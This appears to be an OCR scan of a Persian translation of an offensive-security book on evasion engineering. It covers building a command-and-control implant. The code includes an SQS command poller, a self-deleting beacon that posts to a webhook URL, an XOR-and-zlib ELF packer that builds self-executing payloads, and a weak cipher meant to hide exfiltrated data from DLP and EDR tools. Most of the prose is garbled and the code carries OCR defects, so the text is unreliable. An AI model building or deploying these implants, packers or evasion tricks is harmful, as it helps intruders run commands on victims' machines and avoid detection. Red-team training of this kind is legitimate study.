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Table 1-1: Requirements Matrix
Objective: A minimal C2 build designed for x86-64—compatible

Windows machines to run operating system shell commands

Feature requirements Priority Target horizon
Custom shell calls Low Next release

TLS-enabled beaconing Critical Current release
Timed self-removal Medium Current release
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Figure 1-1: A basic C2 execution flow
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#AWS SDK library boto3

import boto3

client = boto3.resource('sgs')

def poll_commands(gnhame):

queue = sgs.get_queue_by_name(QueueName=gname)

gmsg = queue.receive_messages(some_json_filter)
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command = gmsg.message.body
gmsg.delete()
return str(command)
#Call the command and return results.
commands_to_run = poll_commands('my_queue_name')
AWS SQS e S 3l le s (i yhai 112 s g

So—aS Sy pae | JUES Ghs w5 a8 iyt aa clagle b 51 1S al gle) 5ol C2 S

s ) SE T Se 45 B 2 s e Al g€ i S0 2 yiadl IS ) gy S (5SS 2l

Ol sieds main @b e Sag ) main @b asede peaite ) shas Al e jlam R 4 350 o pal 443y ) Jd
iy i | 4l IS Gl al s 5 2S00 Balen 1) il 8 b A€ a ae 4l pe S (538 e b 525 )5 4dail
LS e

L 2aaa oaliil o8 J 55l SO Ol sieds aa 5 Jiiie Cap Sed SO O siody ad 4S i 6 (53S9l S o, T st )0
double » «si3s) dunder O)siedn 4S A LS " name__ =="__main__ sy Hsi—wd ) saldi
)i 6 8 ali4S salu main @l S o) siedy st Gl ) 2l giee 353 e 43315 («underscore

sl o o2l LT Vo) G e 0 4S ) ghajlaa caniS saldinl) 2S o

def calc_triangle_area(base, height):
return 0.5 * base * height

if _name__=="__main:"__

base =6

height =4

area = calc_triangle_area(base, height)

print(f"The area of the triangle with base {base} and height {height} is: {area}")
main &5 s o ) ()cale_triangle_area @i (S5l A 1Y-) oy
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Lol coals shay a3 Gl&i |y main gl st ol b G 6w age Lo and e aladl 28 ) 4ail il ja
0 S e ikl | Lad sladali y (50 Calise aal 58 (Salea 5 Al sl

SQ Olsiedn ) 2 5a G Sl 0 e o sl Ladi 4 (ised main @B S Ol sie4s dunder Jsiwd Sl edldial o5l

S A 5 )5 s R G Sl s

W) Cy it 5 Glisedal culil
3532 42 (385 5 Al 5 (e S sd Lo sl aS (s )yl (lisedal bl 4ali gy x5 R Josal (A
b 5 1) b ) gl lalad Ciely Gl (Sae 48 (JSae Al g a2l el (AU eSS Gliselal L
aiSoad (518 la s O 53 (sl ) (ED il Caria 53 Le ) (5l 48 i) (5 800 0 a Ll <y pae 2550

G5 L aS a8y Jlaia) o 4y g (alaia) Lal i ool 3 ) 50 0l (5] 3 oy 535S (30 (9 55 5800l ol
A8 a R A) 2 a0 | yal Culh ga L Wi ) o siie de sana

L 48 (3Se (i A Lal el o3 e (5 jlad ) 383 iy Conat (5 3L L iy Anm i 5 L) oy e
1 sl ol Tl 5 4 2 5 V=) S 51 C2 (oa b e 4 s ) an iy se 1) nsde 5 s, g
> a Juall GG b o) il ) LAAS 5 AS aay e 4l ) o gl JBe SG V) G jed 28 e Jab

A Gl S ) 258 5 b awild aad ) shedy il gy Gy Sl U 25K e 4adlial Wil Gy jode 5 23S e ol

[#usr/bin/env python3

import requests

import os

import sys

import time

def self_delete:()

try:

os.remove(sys.argv[0])

except Exception as e:

print(f"Failed to delete the script: {e}")

sys.exit())
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def attempt_connection(max_retries):

#Public-facing mock event handling using webhooks

url = "https://webhook-test.com/YOUR-UNIQUE-SESSIONID"
payload = {"message": "TEST MESSAGE 2 FOOBAR T"}

for attempt in range(max_retries):

try:

response = requests.post(url, json=payload, timeout=10)
response.raise_for_status()

print("Request successful")

return True

except requests.exceptions.RequestException as e:
print(f"Attempt {attempt + 1} failed: {e}")

if attempt < max_retries - 1:

print("Retrying in 5 seconds...")

time.sleep(®)

else:

print("Max retries reached. Exiting.")

return False

if _name__=="__main:"__
max_retries = 3

if not attempt_connection(max_retries):

self_delete()

19

Apsec.ir

Ol Gl sl sala



Evasion Engineering (U8 i) Apsec.ir

Ll Cy pude b C2 e K (5 s 1F=) Caus ygb

Gaob ) Olisedal clild 4y S0 Ll 23S e sl Vo) s yed 1 Y 55k @\)3} main c_ﬁj oAb Glea 3 oS ol
AS)AL;\),";g):m)‘:q_aaui)dd\})ﬁ)d_}‘(TCPJL_.A\djwﬁu)@\JaMLs\ﬁUﬁ_u\qﬁ.u
448 s b0 Jald ()self_delete @b So (pines 35S e a8lial xx ¥ 2)luliul 3 9380 ) z JA HTTP Cuzag
LSS s oA ) i S 3115 258 JlE 5 aan pla sl (a4 e skl al dla 3 o5l Sl
S aS w2 F ) ey il 5ie A4S e Gl | 6ali Yo JSE 555 5 ) beacon Lo s slac S s

1 el e s (sl Ll Cy pne 1 aalii Ly dae (50 Gpia 43 Sl Jlu

Home How To Contact

Your URLs n

m Oabfo91!-8027-4bec-adc8-80b13190ec8D
CC2018d5cecl71203d3c8e84c0115180 v

REQUEST MEADIRS
POST 600098a3-4050-4951-2500

PO
POST Oabl9@9ft-8027-4bec-adch Moat

POST 19130a5d-0d8c-4850-8923

CONTINT_LENGTH
HTTP LSER_AGENT

HTTP ACCERT_ENCODING

CONTENTY

Figure 1-2: The runtime output from Listing 1-3 with exception handling

YR ¢ vy gl laal slae ) g €S adloal Wiwl Cy e ghal clla 5o (6 e o ()W cdan 3 Jsha 52
3 AT Lad s auiSCdly 53 0aiSEy e 5 «C2 Cailiay) Glae sl al ley aSd 55 Jaiae slalad 5 8
hilllcnd palie slads 3S () gicdy JHES b )8 e SIS (8 31y dald i pla oy jae 43 Sl 4S ) ) gl 5
5 sl backoff (sl el b sa 5l 4805 axnae (50 (slaa jilSa caiua gy sladil B L o)A slacla i 51
o) 33 g e il S Aaila el 4S a5y 5 L sl slagled ) il glalas
MU)gwﬂLguoﬁdQ:\)L‘_jﬁu

Ca share 203l 4513 (A3 50 4l A s 2 53 Jola 5o 3yl 48 ila) cllandle 3 540 R 4w ) 1) 355 4a 58 Yla
S
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G sad il 8 g (51080 slaa lailil Al

Sl el 2 e a8l aas sl Khsbaliag) ) lad oS a8 0 S aml gd S A Sy 0 ol Jlaial 4
pen el T - S R SR A9 D el O )2 )

Jsa _u)@}@\)ﬁg\ﬁa}ﬂ‘A:xASa:Léz_m\L;PJL;LM\JJ\}}L;J\K‘;Udu:)mm\Qm O Lasdh dea 4S Gl

S e Causpd | a5 lailind el (i 9 2k il 500 WO L AS el ) st (A Y-
S I8al aa e s laltind 1Y-) Jan
)il Gl jpad as e g 5
& siMyfunction()
my_function()
myFunction()
s 5 la paiSomeVar
That_Var

my_variable_name

A€ A Gl (San 5 i€ JASH 1 WOl 5 s 3855 40 jealic cpl Lol ) 8 )50 53 Jlas oy (e 5 Ladk
s As i Jsh 50 a5 gice aa ) Gl slaala ) 84S il aiihy plla 4y (Js ol b S ddlaal | s K 3 ) 5
slalinter wil sige Tae i s 3 5 il iy jne QB i) 3 2gana aiala bp g s digd p8 L 5
e g WS e e AS (e I () (WS e (el ) ) XS S 5 QllE 4S8 (SS a1 ) s
Gl R S8 5 52 S i

0.8 S 5 Blalad e 50 L g ) sice ) R et S e (el 1 8 L Sa ) aa S
A TLS Givb O 1D Waly aiSice ar a5 Le 2w i Swnd (555 1) Lagil 8 i (3 8 i€ (Jloay clla
a8l ) e 50 (318 Gl 4y s e ) ) (S S Jla ) L syslog s Sa b J s

2igde |al main @b 3 g 48 ad s (e b e2iSy yine pk ) Ll (8 R () i gie Ll il

e L ) Ol 3 @l a3 (B R ) e S 1) s pgh L 280L ke
[#usr/bin/env python3
import logging, logging.handlers
#Constructors
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logger = logging.getLogger(__name_ )
syslog _handler = logging.handlers.SysLogHandler(address=('127.0.0.1', 514))
formatter = logging.Formatter('%(name)s: %(levelname)s %(message)s')
syslog_handler.setFormatter(formatter)
def myfunction:()
print(‘hello foo')
MY_VAR=2+2
#Write to local file if you want buffer.
logging.basicConfig(filename="myapp.log', level=logging.INFO)
logger.info(MY_VAR)
#Write to syslog instead.
logger.addHandler(syslog_handler)
logger.info(MY_VAR)
#Main function
if _name__=='__main:"_
myfunction()
exit()
syslog ) o3&l b 30l 5k (lae S gt @l (sl 553 Sl 18-) Do g

Sisla 3l tepdump 1 saiud b (e & sady 5 S € 1 38 ail g U aud S Cada | TLS Giddg oS0 Taee L

Ll 52 sala ul.uu o.) Q.u‘)gﬁ B a< J}Lum ‘J.\.\S
tcpdump: listening on o0, link-type NULL (BSD loopback), snapshot length 524288 bytes

VYo Y),VAEYYY P (tos 0xO, ttl 64, id 39731, offset 0, flags [none], proto UDP (17,(
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length 49, bad cksum 0 (->e186)(!
YV, 500,00 E <VYY,.,0,0,00YSYSLOG, length: 21
Facility user (1), Severity info(1)
Msg: __main__: INFO 4@"
+x0000: 4500 0031 9b33 0000 4011 0000 7f00 0001 E..1.3....... @..
+x0010: 7f00 0001 d93b 0202 001d fe30 3c31 343e...... ;.....0<14<
+x0020: 5f5f 6d61 696e 5f5f 3a20 494e 464f 2034 __main__:.INFO.4
+x0030: 00.
loopback 1l s 5, syslog tepdump aly (o5 3 10-) Ca yed

Gy 5340 oadls ) syslog sl <Ko 5 3= (5K loopback L) s, tepdump 23 e Gl o 553 G

ASCII 5 5 4t Gilal g0 5a L caiS e cudi |y o lailiul

JJA:\A\)@L\_».»\Wﬁé&@ﬁj@baﬁ‘\;)ﬁca\mﬁﬁ@\ ) 4l p Az g3 (slae ol (g yig cpl AS Yla

S e o glara 1S s2140Y 353 engagement

Dmse el a0 ) (ol ok

5 yilani) (s S plei Al o JLi—Dlea lase 5 beaconing C2 sle—lacullad 03 S Glehy 43 e psd
a5 5 ek (5 sy (o ls al ) a0 Gl 811 eal1 lad g slagtiis (5 150 3 Led 5 ) sle
] REEPEEONKIRE i ERcs DY I VRPN IV S F YU PLEONK PENPR PR S DS | EN [P SV U R IR DS I I PR
Ailer Gledy 5 pdssllani) (S apati 2 A dane saliind W8 L L il 550 4 (Gl el Jl b Lsan Sy

A 53 e AS ol (8 Gl Ay ey Lial ool 3 ) ge oal sl ) (o83 jaee et il ) e S e caani S
48 i) (slaag ai€ i (JOA) 4les sl ail i slads (I0C) Uilms 4y slagaslé i L)) s Y55k
A g | JH\ Gleas ‘5‘5@ <P LELAU'“,)J ccaliia gladialy ¢l OSaa 1A e Ui )y cuae u,)j\.d

Rhaa S5 e i st A4S Cuilal
Gl n talhe ol (8565 le ) L2 https://webhook-test.com) Webhook Test ) ¥-) < jed 3 C2 Jle

Sl ) () o sl (g s saia il ) SO O sieds (25S 20 )b https://webhook.site ) sokial s S
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DliielaS Cul S o sieas | Webhook Test <l o) (i 865 ) 5 VirusTotal 81 a2 S edlii )
1l JSdia a0 S5 gaidins

(sl oyl J S G (e sas e S Ol

A3 aid 5 A e 1) 358 JES Caad slamdls Jal g il il e
L2 S agl pand 5 280 Le 3 a0 (ol (sl ()58 SR Jlatial (8IS 4y 2l i e 4y R Cpaia
L1 2sa @Vl il 5 e 2 40l TCP 443 )5 550 TLS L eadioand gy Juall S ) ol 4 4S84l (0 8
A4S sah s Google Cloud Platform b AWS il (CSP) @sina (50l (a9 i 02380480 ) S ) oaldi il
&) «Akamai & Cloudflare 2ile ¢((CDN) | sise Jasad 4803 saidaadl 5l G 5l 2l sige (0 Bals ) slads
So Ui S 51 ) CSP 5 CDN <o il g e (Jia | aS oalai e@ Gl Ol siedn 38 VLl (5 S (S p
S5 CSP <iledd L 1) LaCDN il 3w 43 58a 23 L o) S8 i€ adlial ladlae (gl S0 (Gaas 40y

S API-REST e (stise jidn 1) 255 C2 U S

TLS over 443 TLS over 443 AWS Lambda
»| Cloudflare CDN function URL/

gateway

hJ

C2 implant

k

Figure 1-3: Tandem redirection for C2
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Table 1-3: Comparing Programming Languages

Apsec.ir

language  Advantages Trade-offs

C s Linux LOLBins typically have C compilers. * |t's generally more work to
» Compiled languages allow for static binaries. write routines for.
= Memory control allows for exploitation or post- * There’s no automatic gar-

exploitation needs. bage collsction.
» Lowerlevel languages are computationally fast. * C has many wellknown
decompilers.

Ci#t NET + Garbage collection is supported. * |t uses the .NET intermediate
* The C family language syntax is familiar. :ﬂnguugde Ebt?ﬂ:j an advan-

* |t's a compiled language. age and a rade-off).
h . odiate | * |t's not as performant as pure
s |t uses the .NET intermediate language. C and C++ are.
* Compiled languages are generally faster than « Is not natively supported on
interpreted languages. non-Windows hosts.
* Memory manipulation in unsafe mode is
supported.

Go = |t offers interpreted and compiled support. * lis syntax conshructs are more
= |t is generally performant compared to Python. g'fﬁ"c”q for some people than
= lt's gaining popularity, with new libraries and ymons.

software development kits (SDKs) created by * It requires the unsafe
the community. library TOL direct memory
= li's genemll}r less studied in malware analysis manipaiation.
than C-family binaries.
PowerShell = |t's built into Windows by default. * Many endpoint tools have

Python 3.x

Domain-
specific
language

(DSL)

Other than the core edition, it offers native
.NET framework support.

It is popular and has widespread community
support.

lts syntax is easy to understand.

It provides native code signing support.

It is popular and has widespread community
support.

lis syntax is easy to understand.

Many security tools are based on or have
extension support in Python.

In many cases, DSLs can evade general net-
work or endpoint detections.

PowerShell analysis support.

PowerShell is not native in
Linux.

As an interpreted language,
it has performance trade-offs

As an interpreted language,

it has performance trade-offs.

There's no direct memory
management.

A DSL is specific fo the client
engagement.

It doesn't run without specific
dependencies installed.
There are vsually no host-
level commands or function
calls available.
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48 « il Microsoft Defender s CrowdStrike ik (EDR) (bl 4kl geuly 5 il (gl ) 3l Jali laJlia
Ol dsb o adly Cullad s 53 Sl (g Ss Slail (51 1y CELES) il 5 ¢cpmdle 580k eagd e Ual Y sana
il 4 B 283 o0 Gl 31 1) (el plsiis S lad el i Sl pal Gl S AN S e S

coald e slalinal 4 Cul Sie (S Siiia 5l sla Sy i (S Jlad | ladia (S 4S s
Gl 028 3l Ll S A4S il i |y Waaingd il 55 e 4S S Slas) (ubiacSia S S nnad AT S

S5 da |y S Gl S #3al engagement Ol 6 tingr ) 1) 35a 50 Dl So 258 e paeai S
A od Ceeli S Calaal 4 Gy (o) Gl oy sy 4 Bl aS S ol gy LA engagement oLb

a0 ol

sl Kl 5 g8 SCh 5 Cle gian gy J8S bl b alag) e sl ea) (uas Cad (Sae 4S ) glacjles
e a (sl (5l SIS la b iaba s ol b oaas e (a8 ) (and i Jlaial 5 ey o Ladi ag sl

Ol Gl sl sala
28



Evasion Engineering (U8 i) Apsec.ir

25S e Jolaie dris 55 (ol IS L 1 (6 Sl i i g 43 R S ciling S a2 3l Al SE 5 ol ) il sie
_@dgqu?(;uasu

lda yeria slacali b

A le dai) B A€ (g 5lmedly | ) waa (sla Jb 2l fioe g e jda 4S S e i JY ke a3 LS (U5
i ) aseie cp) 81 Ll aliala yy aaly Sl S0 050 @l 55 4 dama ealil ol QW8 S S laa b e Y 3k
)0 AS cloala da i L H0 ) 28 (pls B Jgane JBlaa) MVP 0S4 ‘d&d\ﬁ?gﬁuu@m
A Gl ea i )8 ey b SO el =8 engagement «Jla 0ol b3S JK i laengagement i

A Jee TLS b SSH adilaaiia (i b glasad 59

s lal Nl 5 S 82y ol e () e CAllE Lk & cladd ) ool o) ol (Sas Lafip e ol gl L jla 4y K aia
Ol 0248 (saa slaxSaakai L)) o 2l 5 (a8l HY 53k LS H X 8 o Kila sk 280 X wﬂaﬁj{-ﬁ
3 i 2,505, o edla ol b s (35 i 5 e Al Al sl il b b agle €1 51 saliiud U ) sl
A8 Al pela engagement Gl ) dad 5 a3l 0l

X 2y oo jlal) L b4y glada jeaia glacdl w aan d s ee Jb 3 B aws 4x w6 packer Se cgase 2
So oy il al s jo— € Gliia) aaa glalhad 3 ooy 50 485 60 ) A wa |y 2 5A o2 dod ga )l
O 10 B30 pb 5 (518 Gay el 3 ab (pinen 3 S5 ) S (5 by (s saSedan b
RS e 03 5l (o i3k gt 40 Sl

Dshoked 1 b3 se a2l e a3 e 431 I8 sl s )8 e b s lmed 183 ) yid Jlws WPacker
main &b Ol sieds 3 8 sadeodan (5 b S ealdinl Ll 1 sl (i 55 cila iy ol s oala ol £-) JSE ja4S
1 Gl Jlai B3 5 23S e 5l alen (5 S ofip jusi (5 il (51 (s it Sl sacia i ol a0 Salas
S )98 ladlae )

Multiple payload builds Final unitied build I
© New binary header '
i calling use casels)

Figure 1-4: Staging multiple use cases and packing them into a second
staged payload
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ol V=) G jed o S gl Executable and Linkable Format (ELF) sladié i) » o s8b » S Packer
e Gl dae 2153 805,

[#tusr/bin/env python3

import zlib

import argparse

import os

import sys

XOR_KEY = 0x42 # You can change this XOR key as needed.

#XOR lets us encrypt directly on byte data types.

def xor_cipher(data):

return bytes([b * XOR_KEY for b in data]) # Python bitwise operations

#A packer doesn't have to have encryption enabled; compression alone will work.
def packbin(filename):

with open(filename, 'rb') as file_handle:

blob = file_handle.read()

compressed_blob = zlib.compress(blob)

ciphered_blob = xor_cipher(compressed_blob)

print(f'zlib compress and XOR cipher complete for: {filename})

return ciphered_blob

#Create a skeleton wrapper for the payload that self-executes the ELF from the payload
#as a XOR cipher, decrypts itself using the same key, decompresses itself, and uses the
#tempfile library to self-execute.

def create_self_extracting_script(ciphered_data, output_filename):

script = f"""#!/usr/bin/env python3

import zlib

import os
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import sys

import tempfile

XOR_KEY = {XOR_KEY}
CIPHERED_DATA ={ciphered_data}

def xor_decipher(data):

return bytes([b * XOR_KEY for b in data])

if _name__=="__main:"__

deciphered_data = xor_decipher(CIPHERED_DATA)

original_data = zlib.decompress(deciphered_data)

with tempfile.NamedTemporaryFile(delete=False, mode='wb') as temp_file:
temp_file.write(original_data)

temp_filename = temp_file.name

os.chmod(temp_filename, 00755) # Make the file executable
os.execl(temp_filename, temp_filename, *sys.argv[1:])

with open(output_filename, 'w') as f:

f.write(script)

os.chmod(output_filename, 00755) # Make the output script executable
print(f"Self-extracting script created: {output_filename}")

print(f"Run it with: ./{output_filename}")

if _name__=="__main:"__

parser = argparse.ArgumentParser)

prog="rwpypack,’

description='Test Linux ELF binary packer in Python 3.x,’
epilog='github.com/dc401('/

parser.add_argument('-f,’
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--'file,’

type=str,

required=True,

help='Path to the file to be processed(’

parser.add_argument('-o,’

--'output,’

type=str,

required=True,

help='Output filename for the self-extracting script(’

args = parser.parse_args()

ciphered_data = packbin(args.file)

print(f"Ciphered data size: {len(ciphered_data)} bytes")

create_self_extracting_script(ciphered_data, args.output)
058 Y sy s ELF e ul C8l 0 ) packer S iV-) G yeb

dam e (sl G S o 2 1 ol 5 S e IR S 5355 O s | Lad (Lal ELF s (e (il S cp)
5 XS a Sy pda |y 5 3luea 158 a8 5 (XOR cipher) 618 ) a2 Wrapper .2 sdee Jiasi dias 2258 jal 44 48
S Gl ) 23l i dael ) Gl 80 0351 Laal b 23l (152 | engagement e IR ey lld ) )
Gl 5ily sais IS Sy (sl Hb 40 S e Jalad |y ala slags 5l 358 G & slaaiw s yidy (s 3S )
xS s lajladia 3 S Jlad (50 SSH/TLS alaila (5l ) a0 o lal Ladi ol sal Qb 43 0286 )1 e

A ey paa ) | gal 5 daasi dal e alad s wrapper 4S s

4adlA

DY 53k elal 31 (5 30 iy el canla iy 1) 30 8 sLadi 5 1 5y s e Az 5 2 sgde (i e () )2
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S S8 b ) ase saldind () 15 258 IS )8 6 51 i) 28 e S Lad Ay (S Gl ple ) S o)

Ol Gl sl sala
32



Evasion Engineering (U8 i) Apsec.ir

EVASION STRATEGIES

D)8 sl ) Ll
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LELAL"_@:\.&)J J)i&)\dﬁb)@.)&\ﬁ\ }d}deLSaLcLu L uIJLA_m—AP ﬁ@&&u&)ﬁaﬁ S )353;:.;15
S R Lad slacullad (S )3 2w 4S ) (andid slaa 5 ol Sblas x5 e— SilSul 4e0a

RV 253 1 D 1) Culls o Al cpimes S (SIS Lo S iblee saiggley asd B a o Jls gl b
«JUia (51 23S e Jae 488 L5 4l 50 Y sens LAEDR caiiSa Jue sM&8 T+ 10 slas il 2 SIEM
L3 sl oS 3 sae gl Ml ) ¢ (i Gouliw SO Microsoft Defender for Endpoint
L L4 (https://learn.microsoft.com/en-us/defender-endpoint/respond-file-alerts) 2,2
4 il (b Gl s ol aiaT 5 ¢l usdiga (5 luisgr 0215558 L o Jl 5 4T Gl s

e e

Lsandbox 2 | il 4iali il ) jp Sl SR &) sty il STie GWSIEM 5 WEDR ) s b
Jalad Gl shad () S G 5 235 e s el 4o B OS50 a2 5 S e (Kisas
Al S e Jlad | o5 I RESle lles S Jilaa Led b 4S s S8 &) il & e Jladl 5 K3 A
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Llhg e golbudalat anS adlaal |l ) g b dalat Al e S aladl 1 28 Jlel Jillee NTEEIN GAK_'\A
&) n S i)l $83 WSIEM 5 EDR ) 1) (SLl 4kl slacullad 5 S8l 5 o)y alia 40 Iad alagl 2ty
iad MEE T e 4 o800 iy o L (MEES 10 sl 53 Y sane i Gk 5 sWai e K1 (Jlia
iy o3 gdma Gl S 2T 4B VY 5 VT G 1) 358 llee (slae 5l SO ) &) 5ad 2l i e A0S e
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ol 52 5203 LA V=Y Caunpeh 434S ghcles el (5 b dilat i i seeding

import time, os, random
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#Example seeding for pseudorandom number generator
seed = int(time.time() * 1000) " os.getpid()
random.seed(seed)
number = random.randint(YV ,)1)
print(humber)
bai e Al 6 ) b seeding 1) -Y S e

d\AcH 5 Ol atll alls | FE R “"_\ﬂ'.:\.ag\ beaconing Aiile aly gy o G.i‘)!}]:: wslas 3l u.\ﬂ)g )L-.u L e&.’&s
al Gley oo 1 eadicad 5 sl )b 2l e a3 Hhai ) 5e 1 gle)y 5 ol 4o At 580 Sl ) )
L said i LQA\J:’}) O alia stn);.'\g U

S ) i L Lol S eSS (B wsa e e 55 ) )b 4 aiygle) slags 3wl 4S s
Al boglie (aod lama b ol (gl Hha il (IS (ol ot aala 3 S5 )

‘51}).1.1](;5 LS,)&-.‘JAJ J\ oAl

Jsare sl sla Kol Jald (o) 20 55 e a4 93 43 Lo gae LAt caind e 5 4S8 la ) Hlics yua
el Laalag sy (s oF 534S el U5 1 (e (o9 2l saiea BB 43S ) SO ) sicdn 4S 5 i p—a)
3 ) Gl G5 DA e CnSE Ja 8 a5l )l ) (s ke cailinlia e Gl 8 4 ke 1 381 Jba

i S e (S (5358 (sislan) il s 0 L e (sl U la Sl gy s

2iila) o2 BaiAlid (g I jay (slaa plailin 5 g il (YU sk Jlad sty WSIEM (A 5 WEDR ) sk
235 g e s ludloyi ad s S s W SBla ucin aS e (Sl | (8 5 e 5 «Jlard) Ra «Base64
g Oub daglia () NS (g )IREe Canl oadis B e Db o 5 IR ey Jald i | Lad i Sl
B E ) On ) O e LS sl Gebie jpalie 4S e s (g sha | sa (sl sla JRaLES 0,80 Ll
YU sl e e Gand &5 (5 S Jlad () | Lk Guild IS ol aladl (G e A U Y 31 (i) 2l

A0 e plals

D8 e B et slacullad il 35 e GaeS Jsh )3 Culed ja Ll JL b (sl ey WS (a8 Ak A Sea
DBy A9l SCS didas 3 8 ) ¢ 8 o) 5 laee L ol il 23 e gy Ale-il g3 (g Hlaly )y deli S
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Sy “s‘ o Ai L Q AW < j\ AW A‘J1 < d\ :.L Q J . L = - 3 ..‘\ JJ
&L ) Laasaakd  (https://github.com/dc401/mixed_scripts/blob/master/chowencryption.py)
JA.\SG.A sl Lﬁ‘)&:’,}“‘,) Al 8 (gl x + kY eala

def chowencrypt(cleartext, key):

#Data dictionary of common text and CLI chars
encodeddict} =

a':1,'v':2,'c': 3,'d": 4,

'e':5,'f':6,'g':7,'n': 8,

i'19,':10,'k": 11, 'l' : 12,

--snip--

#Use encryption algo to convert encoded data to cipher text.
#Weak algo: 3x + key for demo purposes.

cipherstream[] =

#Prepend the initialization vector unencrypted first to later combine with the key.
cipherstream.append(iv)

#Our new key is the composite addition of IV + key.
compositekey = iv + int(key)

foriin encodedbuffer:

encryptedbyte = (3 * i) + int(compositekey)
cipherstream.append(encryptedbyte)

print(‘encrypted string: ' + str(cipherstream))

--Ship--

A low-entropy cipher

A&a 1) (LOLBIN cslagie s aile aaid ) alea 51 cla K0l 5 gia by B 5530 b G (5 )& 30y il
o sala Ll Y-Y m)@jﬁd),&.&m (X—k)/3w#@bdﬁ)\bd&h‘h‘)§\ .J.\S‘snu\.g_u)l.iu;\‘f.\...u\
) 6&0 el inlad sl ik G seads R e b i€ L& ey
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--snip--

#We need to read the 'cleartext' IV in the first element of the list.

Apsec.ir

#The IV will combine with the user-specified key to decrypt the stream appropriately.

readiv = encodedbuffer|+]

compositekey = int(readiv) + int(key)

foriin encodedbuffer:

decryptedsignal.append(int((i - int(compositekey)) / 3))
print('decrypted signal: ' + str(decryptedsignal))

#Return the decrypted codes to the original ASCII equiv
decryptedtext[] =

foriin decryptedsignal:

#Remember encodeddict is a dictionary using key value pairs
#Must access via .items method for value to key

for k,vin encodeddict.items:()

ifv==1i:

decryptedtext.append(k)

print('decrypted string as list: ' + str(decryptedtext))
#Convert the list decryptedtext into original string form
decryptedtextstring” =

foriin decryptedtext:

decryptedtextstring = decryptedtextstring + str(i)
print('decrypted string original: ' + str(decryptedtextstring))
return decryptedtextstring

--snip--

25 1aS ey SG ) (U ey Vs S rYSY Ca el
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S ol 5 28 e a1y )83 Culed 53 (DFIR) 4iala 4 gealy 5 Jliia 516 S5y o) S llad iy oS L
Ailea (AL dmy allae ol Gl g Ole) )2 Y835 pardll L (aiiS e aiS

(apeod) Bt 43 U a5 5l slaodla 51y 1y o i ks s i €S s 03l ASCII 31 Y=Y s sgh 4n )
O Gl o) o2 oala LSS T2Y s jgd a8 ) ghailed o5 BIaS Jas S L 38 s B e G
T3 el ol 4y Cadl anaa Sae) Galaia) U 5 (sba SIS (515 5iannlS 3l oSl G sl e Sl

(A-F Q=) 2 lalin glall oSy il

#Extending values from 0x00 to Oxff
hex_dict = {hex(i)[2:].Zfill(2): i + 500 for i in range(Y°1)}
#New dictionary kv pairs
encoded_dict} =

... #existing character mappings

a:1,'b": 2,

# etc...

#Hex mappings (will map 00-ff to values starting at 500)
T BN - R IEL - UL

# etc...

'ff': 755

{

--Ship--

6o (5 RS (5 & 3a ) (sl B iluidy (S adlial 1LY Cas e

iy Ka 40 s235 I e b 2505 ) 4S8 S aalsa S i IS LS cuy Sl S 2 1) e 4 Vs
u.uLA.IMJP}ALSLA‘)\J.\\ Jup|pe Bl M%WJ\JJ‘ ad\sﬁ_u\l_\\‘)&‘).\:}b‘)h J.\J“j.\‘sﬂ cLinux 2 J.\S‘:_A
(o) 2 02la LS €Y G yed 50 4S ) ghaclas (S aplai Ka

xxd -p
/path/to/bin
[tr -d "\n' | python3 main.py
B glos 4 s daas 182X g
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Sa 4 (stdin) alalin) a5 ) ediiul L) o cpaa b sla i) IS Cada b K 4t (g jsdle i )
A Ao kel Calaal o)y e 2 biealy LS 01 o jed H3 AS (Cay Sl () WS pipe S Sl
2 S Q8 G 4 e S ) 1) O (a2l e Wl aiSe Gl (stdout) 2l

[#tusr/bin/env python3

import sys

from random import randint

def hex_encrypt(hex_input, key=10):
#Convert hex string to integers.
hex_bytes = [int(hex_input[i:i+2], 16) foriin range(0, len(hex_input), 2(
if len(hex_input[i:i+2]) == 2|
iv=randint(¢eY ,Y\))

composite_key = iv + int(key)

cipher =[iv]

for byte in hex_bytes:

encrypted = (3 * byte) + composite_key
cipher.append(encrypted)

return cipher

def hex_decrypt(cipher_list, key=10):
iv = cipher_Llist[*]

composite_key = iv + int(key)
decrypted[] =

for value in cipher_Llist:[:]

original = int((value - composite_key) / 3)
decrypted.append(original)

return ".join([format(b, '02x') for b in decrypted])

#Read from stdin.
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hex_input = sys.stdin.read().strip()
#Encrypt
encrypted = hex_encrypt(hex_input)
print(f"Encrypted: {encrypted}")
#Decrypt
decrypted = hex_decrypt(encrypted)
print(f"Decrypted hex: {decrypted}")
B 4y sadedla et 6l (R Ja ) 5 5 8 ey 10-Y s s

JT!JJ\)‘%;:C\S}sMSGALQJL?\J}AJM@})ﬁieS)’AJJ\aA\éﬁu\L}\)Q‘cJJﬁgsA\)MJ';ALgAjJ)Q#J&|O:\\
sk ) S a5y 5 (UK e ) 20 55 ge Tamy 4S 283 e ) A (5 pealie ) s yed

R4S sholes i€ Gila 3l stdin 4 558 4 oo I ay eald 038 Gl L b e L 1D S Sl () il i
5 ub 0l Jash 45 (2 e HIS R 4y sadela flal 4TG5 e L ) 6l sad sala (LA T-Y e

echo "Hello World" | xxd -p - | tr -d \n' | python3 main.py
Encrypted[£AY Vo) YVe VAY VAL YVY otV YAE VYo VYo Yot 11V ¢¢)]:
Decrypted hex: 48656c6c6f20576f726c640a
Linux 0 8 &5, Al i 5ok 3l stdin Gl 11-Y G ed

L:”e:\_udJJ(DLP)nJ\JQJ\A&_uJ_}\_}\Lg‘):\g}x;‘}\J\}&L&‘ﬁjﬁiéauaﬂ\ga\}m@_ﬂJ‘)\}e‘_e").;
Sl EDR&\AQS\.N\d}laJJMJ&}JQ&QBJALAQBQLAJQL;U;\

b ladiug 5l il ) il
5 «GTFOBINS <LOLBINs )} 48 Caul (263 oyl Lo sae ca i i (5l SalS (sladin sy 40 S a4 s
5 31 A AS—aliny (sladlie (A S Qi) X 53 hook b il Sl (o 5k (10 4S oS sladiladlis &
sladiu g tPowerShell s «cmd.exe crundll.exe 2le Windows (sl i —aiiwa il S 55 o5
laaiy) 58 5 ) a8 pa Bl S le jd Jad Al g G eyl aiia d)&}J}mﬁudguJebash aile Linux
08 s ) iy g laaliald aiwnw slag) sa) i 3l a &0 Al ladia o S Jlad Laild (EalS gl
s jed _A:\SSDJGS.”\ﬁ&gejﬁﬁ@:})ﬁiesoﬁd‘)&jy‘)‘)\g\go\ﬂ cﬂwﬁ\ded\ﬁ\duﬂ\ﬁ
&Js‘\u\.ﬁu \‘)mﬁdﬁg‘)\m\a\‘) LAY @\-) @\}Sﬂﬂd\f ewau‘dﬁv—\‘

[#usr/bin/env python3

import os
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import time

import random

import pwd

import grp

def get_user_info:()

#Get current process user info (equivalent of 'id' command)
uid = os.getuid()

